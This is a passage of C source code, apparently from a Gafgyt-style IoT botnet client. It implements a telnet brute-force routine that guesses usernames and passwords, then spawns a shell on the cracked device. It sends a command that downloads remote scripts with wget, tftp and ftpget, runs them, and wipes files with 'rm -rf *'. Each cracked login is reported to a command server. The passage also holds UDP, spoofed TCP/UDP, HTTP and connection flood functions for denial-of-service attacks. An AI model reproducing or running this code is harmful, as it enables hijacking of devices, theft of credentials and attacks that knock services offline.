  1354.                                                         memset(fds[i].sockbuf, 0, 1024);
  1355.                                                         fds[i].state = 2;
  1356.                                                         continue;
  1357.                                                 }
  1358.                                         } else if(res == -1)
  1359.                                         {
  1360.                                                 sclose(fds[i].fd);
  1361.                                                 fds[i].state = 0;
  1362.                                                 fds[i].complete = 1;
  1363.                                         }
  1364.  
  1365.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1366.                                         {
  1367.                                                 sclose(fds[i].fd);
  1368.                                                 fds[i].state = 0;
  1369.                                                 fds[i].complete = 1;
  1370.                                         }
  1371.                                 }
  1372.                                 break;
  1373.  
  1374.                         case 2:
  1375.                                 {
  1376.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1377.  
  1378.                                         if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1379.                                         {
  1380.                                                 fds[i].totalTimeout = 0;
  1381.                                                 fds[i].bufUsed = 0;
  1382.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1383.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1384.                                                 fds[i].state = 3;
  1385.                                                 continue;
  1386.                                         }
  1387.                                         else if(readUntil(fds[i].fd, "user:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1388.                                         {
  1389.                                                 fds[i].totalTimeout = 0;
  1390.                                                 fds[i].bufUsed = 0;
  1391.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1392.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1393.                                                 fds[i].state = 3;
  1394.                                                 continue;
  1395.                                         }
  1396.                                         else if(readUntil(fds[i].fd, "name", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1397.                                         {
  1398.                                                 fds[i].totalTimeout = 0;
  1399.                                                 fds[i].bufUsed = 0;
  1400.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1401.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1402.                                                 fds[i].state = 3;
  1403.                                                 continue;
  1404.                                         }
  1405.                                         else if(readUntil(fds[i].fd, "pass", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1406.                                         {
  1407.                                                 fds[i].totalTimeout = 0;
  1408.                                                 fds[i].bufUsed = 0;
  1409.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1410.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1411.                                                 fds[i].state = 3;
  1412.                                                 continue;
  1413.                                         }
  1414.                                         else if(readUntil(fds[i].fd, "word", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1415.                                         {
  1416.                                                 fds[i].totalTimeout = 0;
  1417.                                                 fds[i].bufUsed = 0;
  1418.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1419.                                                 else memset(fds[i].sockbuf, 0, 1024);
  1420.                                                 fds[i].state = 3;
  1421.                                                 continue;
  1422.                                         } else {
  1423.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1424.                                         }
  1425.  
  1426.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1427.                                         {
  1428.                                                 sclose(fds[i].fd);
  1429.                                                 fds[i].state = 0;
  1430.                                                 fds[i].complete = 1;
  1431.                                         }
  1432.                                 }
  1433.                                 break;
  1434.  
  1435.                         case 3:
  1436.                                 {
  1437.                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1438.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1439.                                         fds[i].state = 4;
  1440.                                 }
  1441.                                 break;
  1442.  
  1443.                         case 4:
  1444.                                 {
  1445.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1446.  
  1447.                                         if(readUntil(fds[i].fd, "pass", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1448.                                         {
  1449.                                                 fds[i].totalTimeout = 0;
  1450.                                                 fds[i].bufUsed = 0;
  1451.                                                 if(strstr(fds[i].sockbuf, "pass") != NULL) fds[i].state = 5;
  1452.                                                 else fds[i].state = 7;
  1453.                                                 memset(fds[i].sockbuf, 0, 1024);
  1454.                                                 continue;
  1455.                                         }
  1456.                                         if(readUntil(fds[i].fd, "word", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1457.                                         {
  1458.                                                 fds[i].totalTimeout = 0;
  1459.                                                 fds[i].bufUsed = 0;
  1460.                                                 if(strstr(fds[i].sockbuf, "word") != NULL) fds[i].state = 5;
  1461.                                                 else fds[i].state = 7;
  1462.                                                 memset(fds[i].sockbuf, 0, 1024);
  1463.                                                 continue;
  1464.                                         }
  1465.                                             else {
  1466.                                                 if(strstr(fds[i].sockbuf, "invalid") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1467.                                                 if(strstr(fds[i].sockbuf, "incorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1468.                                                 if(strstr(fds[i].sockbuf, "fail") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1469.                                                 if(strstr(fds[i].sockbuf, "again") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1470.                                                 if(strstr(fds[i].sockbuf, "wrong") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1471.                                                 if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1472.                                                 if(strstr(fds[i].sockbuf, "denied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1473.                                                 if(strstr(fds[i].sockbuf, "error") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1474.                                                 if(strstr(fds[i].sockbuf, "bad") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1475.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1476.                                         }
  1477.  
  1478.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1479.                                         {
  1480.                                                 sclose(fds[i].fd);
  1481.                                                 fds[i].state = 0;
  1482.                                                 fds[i].complete = 1;
  1483.                                         }
  1484.                                 }
  1485.                                 break;
  1486.  
  1487.                         case 5:
  1488.                                 {
  1489.                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1490.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1491.                                         fds[i].state = 6;
  1492.                                 }
  1493.                                 break;
  1494.  
  1495.                         case 6:
  1496.                                 {
  1497.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1498.  
  1499.                                     if(readUntil(fds[i].fd, "invalid", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1500.                                     {
  1501.                                         fds[i].totalTimeout = 0;
  1502.                                         fds[i].bufUsed = 0;
  1503.                                         if(strstr(fds[i].sockbuf, "invalid") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1504.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1505.                                         else fds[i].state = 7;
  1506.                                         memset(fds[i].sockbuf, 0, 1024);
  1507.                                         continue;
  1508.                                     }
  1509.                                     if(readUntil(fds[i].fd, "incorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1510.                                     {
  1511.                                         fds[i].totalTimeout = 0;
  1512.                                         fds[i].bufUsed = 0;
  1513.                                         if(strstr(fds[i].sockbuf, "incorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1514.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1515.                                         else fds[i].state = 7;
  1516.                                         memset(fds[i].sockbuf, 0, 1024);
  1517.                                         continue;
  1518.                                     }
  1519.                                     if(readUntil(fds[i].fd, "fail", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1520.                                     {
  1521.                                         fds[i].totalTimeout = 0;
  1522.                                         fds[i].bufUsed = 0;
  1523.                                         if(strstr(fds[i].sockbuf, "fail") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1524.                                         else fds[i].state = 7;
  1525.                                         memset(fds[i].sockbuf, 0, 1024);
  1526.                                         continue;
  1527.                                     }
  1528.                                     if(readUntil(fds[i].fd, "again", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1529.                                     {
  1530.                                         fds[i].totalTimeout = 0;
  1531.                                         fds[i].bufUsed = 0;
  1532.                                         if(strstr(fds[i].sockbuf, "again") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1533.                                         else fds[i].state = 7;
  1534.                                         memset(fds[i].sockbuf, 0, 1024);
  1535.                                         continue;
  1536.                                     }
  1537.                                     if(readUntil(fds[i].fd, "wrong", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1538.                                     {
  1539.                                         fds[i].totalTimeout = 0;
  1540.                                         fds[i].bufUsed = 0;
  1541.                                         if(strstr(fds[i].sockbuf, "wrong") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1542.                                         else fds[i].state = 7;
  1543.                                         memset(fds[i].sockbuf, 0, 1024);
  1544.                                         continue;
  1545.                                     }
  1546.                                     if(readUntil(fds[i].fd, "accessdenied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1547.                                     {
  1548.                                         fds[i].totalTimeout = 0;
  1549.                                         fds[i].bufUsed = 0;
  1550.                                         if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1551.                                         else fds[i].state = 7;
  1552.                                         memset(fds[i].sockbuf, 0, 1024);
  1553.                                         continue;
  1554.                                     }
  1555.                                     if(readUntil(fds[i].fd, "denied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1556.                                     {
  1557.                                         fds[i].totalTimeout = 0;
  1558.                                         fds[i].bufUsed = 0;
  1559.                                         if(strstr(fds[i].sockbuf, "denied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1560.                                         else fds[i].state = 7;
  1561.                                         memset(fds[i].sockbuf, 0, 1024);
  1562.                                         continue;
  1563.                                     }
  1564.                                     if(readUntil(fds[i].fd, "error", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1565.                                     {
  1566.                                         fds[i].totalTimeout = 0;
  1567.                                         fds[i].bufUsed = 0;
  1568.                                         if(strstr(fds[i].sockbuf, "error") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1569.                                         else fds[i].state = 7;
  1570.                                         memset(fds[i].sockbuf, 0, 1024);
  1571.                                         continue;
  1572.                                     }
  1573.                                     if(readUntil(fds[i].fd, "bad", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1574.                                     {
  1575.                                         fds[i].totalTimeout = 0;
  1576.                                         fds[i].bufUsed = 0;
  1577.                                         if(strstr(fds[i].sockbuf, "bad") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1578.                                         else fds[i].state = 7;
  1579.                                         memset(fds[i].sockbuf, 0, 1024);
  1580.                                         continue;
  1581.                                     }
  1582.                                     else {
  1583.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1584.                                         }
  1585.  
  1586.                                         if(fds[i].totalTimeout + 10 < time(NULL))
  1587.                                         {
  1588.                                                 sclose(fds[i].fd);
  1589.                                                 fds[i].state = 0;
  1590.                                                 fds[i].complete = 1;
  1591.                                         }
  1592.                                 }
  1593.                                 break;
  1594.  
  1595.                         case 7:
  1596.                                 {
  1597.                                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1598.                                     fds[i].state = 8;
  1599.                                 }
  1600.                                 break;
  1601.                         case 8:
  1602.                                 {
  1603.                                     if(send(fds[i].fd, "/bin/sh\r\n", 9, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1604.                                     fds[i].state = 9;
  1605.                                 }
  1606.                                 break;
  1607.  
  1608.                         case 9:
  1609.                                 {
  1610.                                     if(send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1611.                                     sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1612.                                     fds[i].state = 10;
  1613.                                 }
  1614.                                 break;
  1615.  
  1616.                         case 10:
  1617.                                 {
  1618.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1619.  
  1620.                                     if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1621.                                     {
  1622.                                         fds[i].totalTimeout = 0;
  1623.                                         fds[i].bufUsed = 0;
  1624.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1625.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1626.                                         continue;
  1627.  
  1628.                                     }
  1629.                                     else if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1630.                                     {
  1631.                                         fds[i].totalTimeout = 0;
  1632.                                         fds[i].bufUsed = 0;
  1633.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1634.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1635.                                         continue;
  1636.  
  1637.                                     }
  1638.                                     else if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1639.                                     {
  1640.                                         fds[i].totalTimeout = 0;
  1641.                                         fds[i].bufUsed = 0;
  1642.                                         send(fds[i].fd, "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://0.0.0.0/gtop.sh; chmod 777 gtop.sh; sh gtop.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf gtop.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  1643.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1644.                                         memset(fds[i].sockbuf, 0, 1024);
  1645.                                         sclose(fds[i].fd);
  1646.                                         fds[i].complete = 1;
  1647.                                         fds[i].state = 0;
  1648.                                         continue;
  1649.                                     }
  1650.                                     else {
  1651.                                             fds[i].bufUsed = strlen(fds[i].sockbuf);
  1652.                                          }
  1653.  
  1654.                                     if(fds[i].totalTimeout + 10 < time(NULL))
  1655.                                     {
  1656.                                         sclose(fds[i].fd);
  1657.                                         fds[i].state = 0;
  1658.                                         fds[i].complete = 1;
  1659.                                     }
  1660.                                 }
  1661.                                 break;
  1662.                         }
  1663.                 }
  1664.         }
  1665. }
  1666.  
  1667. void sendSTD(unsigned char *ip, int port, int secs) {
  1668.  
  1669.     int iSTD_Sock;
  1670.  
  1671.     iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1672.  
  1673.     time_t start = time(NULL);
  1674.  
  1675.     struct sockaddr_in sin;
  1676.  
  1677.     struct hostent *hp;
  1678.  
  1679.     hp = gethostbyname(ip);
  1680.  
  1681.     bzero((char*) &sin,sizeof(sin));
  1682.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1683.     sin.sin_family = hp->h_addrtype;
  1684.     sin.sin_port = port;
  1685.  
  1686.     unsigned int a = 0;
  1687.  
  1688.     while(1){
  1689.         if (a >= 50)
  1690.         {
  1691.             send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1692.             connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1693.             if (time(NULL) >= start + secs)
  1694.             {
  1695.                 close(iSTD_Sock);
  1696.                 _exit(0);
  1697.             }
  1698.             a = 0;
  1699.         }
  1700.         a++;
  1701.     }
  1702.    
  1703.  
  1704. }
  1705.  
  1706. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1707. {
  1708.         struct sockaddr_in dest_addr;
  1709.  
  1710.         dest_addr.sin_family = AF_INET;
  1711.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1712.         else dest_addr.sin_port = htons(port);
  1713.         if(getHost(target, &dest_addr.sin_addr)) return;
  1714.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1715.  
  1716.         register unsigned int pollRegister;
  1717.         pollRegister = pollinterval;
  1718.  
  1719.         if(spoofit == 32)
  1720.         {
  1721.                 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1722.                 if(!sockfd)
  1723.                 {
  1724.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1725.                         return;
  1726.                 }
  1727.  
  1728.                 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1729.                 if(buf == NULL) return;
  1730.                 memset(buf, 0, packetsize + 1);
  1731.                 makeRandomStr(buf, packetsize);
  1732.  
  1733.                 int end = time(NULL) + timeEnd;
  1734.                 register unsigned int i = 0;
  1735.                 while(1)
  1736.                 {
  1737.                         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1738.  
  1739.                         if(i == pollRegister)
  1740.                         {
  1741.                                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1742.                                 if(time(NULL) > end) break;
  1743.                                 i = 0;
  1744.                                 continue;
  1745.                         }
  1746.                         i++;
  1747.                 }
  1748.         } else {
  1749.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1750.                 if(!sockfd)
  1751.                 {
  1752.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1753.                         //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1754.                         return;
  1755.                 }
  1756.  
  1757.                 int tmp = 1;
  1758.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1759.                 {
  1760.                         sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1761.                         return;
  1762.                 }
  1763.  
  1764.                 int counter = 50;
  1765.                 while(counter--)
  1766.                 {
  1767.                         srand(time(NULL) ^ rand_cmwc());
  1768.                         init_rand(rand());
  1769.                 }
  1770.  
  1771.                 in_addr_t netmask;
  1772.  
  1773.                 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1774.                 else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1775.  
  1776.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1777.                 struct iphdr *iph = (struct iphdr *)packet;
  1778.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1779.  
  1780.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1781.  
  1782.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1783.                 udph->source = rand_cmwc();
  1784.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1785.                 udph->check = 0;
  1786.  
  1787.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1788.  
  1789.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1790.  
  1791.                 int end = time(NULL) + timeEnd;
  1792.                 register unsigned int i = 0;
  1793.                 while(1)
  1794.                 {
  1795.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1796.  
  1797.                         udph->source = rand_cmwc();
  1798.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1799.                         iph->id = rand_cmwc();
  1800.                         iph->saddr = htonl( getRandomIP(netmask) );
  1801.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1802.  
  1803.                         if(i == pollRegister)
  1804.                         {
  1805.                                 if(time(NULL) > end) break;
  1806.                                 i = 0;
  1807.                                 continue;
  1808.                         }
  1809.                         i++;
  1810.                 }
  1811.         }
  1812. }
  1813.  
  1814. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1815. {
  1816.         register unsigned int pollRegister;
  1817.         pollRegister = pollinterval;
  1818.  
  1819.         struct sockaddr_in dest_addr;
  1820.  
  1821.         dest_addr.sin_family = AF_INET;
  1822.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1823.         else dest_addr.sin_port = htons(port);
  1824.         if(getHost(target, &dest_addr.sin_addr)) return;
  1825.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1826.  
  1827.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1828.         if(!sockfd)
  1829.         {
  1830.                 sockprintf(mainCommSock, "Failed opening raw socket.");
  1831.                 return;
  1832.         }
  1833.  
  1834.         int tmp = 1;
  1835.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1836.         {
  1837.                 sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1838.                 return;
  1839.         }
  1840.  
  1841.         in_addr_t netmask;
  1842.  
  1843.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1844.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1845.  
  1846.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1847.         struct iphdr *iph = (struct iphdr *)packet;
  1848.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1849.  
  1850.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1851.  
  1852.         tcph->source = rand_cmwc();
  1853.         tcph->seq = rand_cmwc();
  1854.         tcph->ack_seq = 0;
  1855.         tcph->doff = 5;
  1856.  
  1857.         if(!strcmp(flags, "all"))
  1858.         {
  1859.                 tcph->syn = 1;
  1860.                 tcph->rst = 1;
  1861.                 tcph->fin = 1;
  1862.                 tcph->ack = 1;
  1863.                 tcph->psh = 1;
  1864.         } else {
  1865.                 unsigned char *pch = strtok(flags, ",");
  1866.                 while(pch)
  1867.                 {
  1868.                         if(!strcmp(pch,         "syn"))
  1869.                         {
  1870.                                 tcph->syn = 1;
  1871.                         } else if(!strcmp(pch,  "rst"))
  1872.                         {
  1873.                                 tcph->rst = 1;
  1874.                         } else if(!strcmp(pch,  "fin"))
  1875.                         {
  1876.                                 tcph->fin = 1;
  1877.                         } else if(!strcmp(pch,  "ack"))
  1878.                         {
  1879.                                 tcph->ack = 1;
  1880.                         } else if(!strcmp(pch,  "psh"))
  1881.                         {
  1882.                                 tcph->psh = 1;
  1883.                         } else {
  1884.                                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1885.                         }
  1886.                         pch = strtok(NULL, ",");
  1887.                 }
  1888.         }
  1889.  
  1890.         tcph->window = rand_cmwc();
  1891.         tcph->check = 0;
  1892.         tcph->urg_ptr = 0;
  1893.         tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1894.         tcph->check = tcpcsum(iph, tcph);
  1895.  
  1896.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1897.  
  1898.         int end = time(NULL) + timeEnd;
  1899.         register unsigned int i = 0;
  1900.         while(1)
  1901.         {
  1902.                 sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1903.  
  1904.                 iph->saddr = htonl( getRandomIP(netmask) );
  1905.                 iph->id = rand_cmwc();
  1906.                 tcph->seq = rand_cmwc();
  1907.                 tcph->source = rand_cmwc();
  1908.                 tcph->check = 0;
  1909.                 tcph->check = tcpcsum(iph, tcph);
  1910.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1911.  
  1912.                 if(i == pollRegister)
  1913.                 {
  1914.                         if(time(NULL) > end) break;
  1915.                         i = 0;
  1916.                         continue;
  1917.                 }
  1918.                 i++;
  1919.         }
  1920. }
  1921.  
  1922. void sendHTTP(unsigned char *url, int end_time)
  1923. {
  1924.     int end = time(NULL) + end_time;
  1925.     FILE *pf;
  1926.     char *UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1927.    
  1928.     char *command[80];
  1929.     sprintf(command,"wget -s -U \"");
  1930.     strcat(command, UA);
  1931.     strcat(command,"\" -q ");
  1932.     strcat(command, url);
  1933.    
  1934.     while(end > time(NULL))
  1935.     {
  1936.         UA = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  1937.         sprintf(command,"wget -s -U \"");
  1938.         strcat(command, UA);
  1939.         strcat(command,"\" -q ");
  1940.         strcat(command, url);
  1941.         system(command);
  1942.     }
  1943.    
  1944. }
  1945.  
  1946. void sendCNC(unsigned char *ip,int port, int end_time)
  1947. {
  1948.     int end = time(NULL) + end_time;
  1949.     int sockfd;
  1950.     struct sockaddr_in server;
  1951.     //sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1952.    
  1953.     server.sin_addr.s_addr = inet_addr(ip);
  1954.     server.sin_family = AF_INET;
  1955.     server.sin_port = htons(port);
  1956.    
  1957.     while(end > time(NULL))
  1958.     {
  1959.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  1960.         connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  1961.         sleep(1);
  1962.         close(sockfd);
  1963.     }
  1964.    
  1965. }
  1966.  
  1967. void processCmd(int argc, unsigned char *argv[])
  1968. {
  1969.     int x;
  1970.         if(!strcmp(argv[0], "PING"))
  1971.         {
  1972.                 sockprintf(mainCommSock, "PONG!");
  1973.                 return;
  1974.         }
  1975.  
  1976.         if(!strcmp(argv[0], "GETLOCALIP"))
  1977.         {
